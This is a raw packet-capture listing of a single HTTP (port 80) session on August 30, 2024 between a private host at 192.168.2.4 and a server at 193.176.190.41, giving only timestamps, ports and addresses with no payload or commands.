Aug 30, 2024 18:12:59.529162884 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.529174089 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.529185057 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.529195070 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.529206038 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.529216051 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.529216051 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.529233932 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.529234886 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.529247999 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.529258013 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.529262066 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.529278994 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.529306889 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.529578924 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.529589891 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.529601097 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.529611111 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.529620886 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.529630899 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.529634953 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.529639959 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.529658079 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.529671907 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.529683113 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.601645947 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.601681948 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.601691961 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.601744890 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.601756096 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.601766109 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.601783991 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.601891994 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.601892948 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.602062941 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.602075100 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.602085114 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.602094889 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.602108955 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.602118969 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.602129936 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.602157116 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.602212906 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.602382898 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.602433920 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.604863882 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.604912996 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.604934931 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.604947090 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.604983091 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.604993105 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.605068922 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.605079889 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.605091095 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.605120897 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.605150938 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.605200052 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.605247021 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.610246897 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.610300064 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.610310078 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.610327005 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.610450029 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.610460043 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.610471010 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.610481024 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.610522985 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.610569000 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.610604048 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.610615969 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.610651016 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.610670090 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.610682011 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.610696077 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.610707998 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.610718012 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.610718966 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.610738039 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.610768080 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.610939026 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.610989094 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.611033916 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.611046076 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.611057043 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.611067057 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.611077070 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.611087084 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.611088991 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.611099958 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.611121893 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.611145020 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.611345053 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.611356020 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.611366034 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.611397982 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.611412048 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.611432076 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.611450911 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.611460924 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.611479044 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.611495972 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.611686945 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.611699104 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.611710072 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.611720085 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.611730099 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.611737967 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.611742020 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.611754894 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.611763000 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.611778975 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.611800909 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.611960888 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.612009048 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.613871098 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.613922119 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.613944054 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.613955021 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.613992929 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.614037037 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.614048958 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.614058971 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.614070892 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.614089012 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.614104033 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.614274025 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.614284992 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.614294052 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.614305019 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.614322901 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.614339113 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.614535093 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.614547014 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.614557028 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.614567041 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.614577055 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.614588022 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.614588022 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.614600897 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.614608049 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.614626884 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.614641905 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.614789009 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.614800930 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.614810944 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.614819050 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.614842892 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.614867926 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.614916086 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.614964962 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.615001917 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.615015030 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.615025997 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.615041971 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.615052938 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.615055084 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.615088940 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.615099907 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.615288973 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.615299940 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.615309954 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.615320921 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.615331888 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.615339994 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.615350962 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.615361929 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.615370989 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.615374088 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.615382910 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.615395069 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.615396976 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.615407944 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.615420103 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.615432978 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.615462065 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.615870953 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.615881920 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.615891933 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.615902901 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.615921974 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.615947962 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.616020918 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.616031885 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.616041899 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.616053104 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.616064072 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.616071939 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.616089106 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.616110086 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.616306067 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.616317987 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.616336107 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.616348028 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.616355896 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.616358995 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.616370916 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.616380930 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.616386890 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.616390944 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.616404057 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.616406918 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.616421938 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.616451979 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.688407898 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.688466072 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.688474894 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.688492060 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.688504934 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.688577890 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.688631058 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.688642979 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.688653946 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.688662052 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.688666105 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.688678026 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.688679934 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.688708067 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.688726902 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.688921928 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.688934088 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.688944101 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.688955069 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.688963890 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.688971996 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.689002991 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.697781086 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.697820902 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.697832108 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.697864056 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.697902918 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.697973967 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.697985888 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.697995901 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.698009014 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.698031902 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.698054075 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.698220968 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.698232889 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.698244095 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.698252916 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.698266029 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.698298931 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.698472023 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.698483944 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.698518991 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.698569059 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.698580980 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.698592901 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.698602915 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.698615074 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.698621035 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.698632002 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.698640108 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.698647022 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.698662043 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.698692083 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.699079037 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.699090958 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.699100971 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.699114084 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.699126959 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.699157000 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.699300051 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.699311972 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.699321985 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.699331999 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.699342966 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.699353933 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.699381113 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.699563026 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.699573040 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.699594021 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.699604988 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.699614048 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.699615955 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.699628115 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.699634075 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.699640989 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.699661016 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.699682951 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.700026989 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.700038910 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.700050116 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.700059891 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.700071096 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.700078964 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.700079918 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.700093985 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.700100899 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.700108051 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.700122118 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.700145006 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.702436924 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.702500105 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.702507973 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.702512026 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.702537060 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.702554941 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.702634096 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.702646017 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.702678919 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.702761889 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.702771902 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.702781916 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.702809095 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.702831984 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.702986002 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.702996969 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.703006983 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.703017950 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.703037977 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.703056097 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.703166962 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.703176975 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.703186989 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.703195095 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.703217030 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.703232050 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.703408003 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.703418016 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.703428030 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.703437090 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.703447104 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.703454971 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.703465939 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.703469992 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.703480959 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.703485012 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.703493118 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.703505039 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.703526974 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.703696966 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.703747034 CEST	49733	80	192.168.2.4	193.176.190.41
